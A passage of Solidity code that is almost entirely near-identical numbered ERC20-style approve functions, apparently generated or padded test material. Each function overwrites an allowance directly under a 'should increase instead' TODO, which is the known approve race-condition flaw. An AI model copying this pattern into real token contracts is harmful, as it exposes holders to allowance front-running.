emit Approval( msg.sender, spender, value ); return true; } function approve_436(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_437(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_438(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_439(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_440(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_441(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_442(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_443(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_444(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_445(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_446(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_447(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_448(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_449(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_450(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_451(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_452(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_453(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_454(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_455(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_456(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_457(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_458(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_459(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_460(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_461(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_462(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_463(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_464(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_465(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_466(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_467(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_468(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_469(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_470(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_471(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_472(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_473(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_474(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_475(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_476(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_477(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_478(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_479(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_480(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_481(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_482(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_483(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_484(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_485(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_486(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_487(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_488(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_489(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_490(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_491(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_492(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_493(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_494(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_495(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_496(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_497(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_498(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_499(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_500(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_501(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_502(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_503(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_504(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_505(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_506(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_507(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_508(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_509(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_510(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_511(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_512(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_513(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_514(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_515(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_516(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_517(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_518(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_519(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_520(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_521(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_522(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_523(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_524(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_525(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_526(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_527(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_528(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_529(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_530(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_531(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_532(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_533(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_534(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_535(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_536(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_537(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_538(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_539(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_540(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_541(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_542(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_543(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_544(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_545(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_546(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_547(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_548(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_549(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_550(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_551(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_552(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_553(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_554(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_555(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_556(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_557(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_558(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_559(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_560(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_561(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_562(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_563(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_564(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_565(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_566(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_567(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_568(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_569(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_570(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_571(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_572(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_573(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_574(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_575(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_576(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_577(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_578(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_579(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_580(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_581(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_582(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_583(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_584(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_585(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_586(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_587(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_588(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_589(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_590(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_591(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_592(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_593(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_594(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_595(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_596(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_597(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_598(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_599(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_600(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_601(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_602(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_603(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_604(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_605(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_606(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_607(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_608(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_609(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_610(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_611(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_612(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_613(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_614(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_615(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_616(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_617(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_618(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_619(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_620(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_621(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_622(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_623(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_624(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_625(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_626(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_627(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_628(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_629(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_630(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_631(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_632(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_633(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_634(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_635(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_636(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_637(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_638(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_639(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_640(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_641(address spender, uint 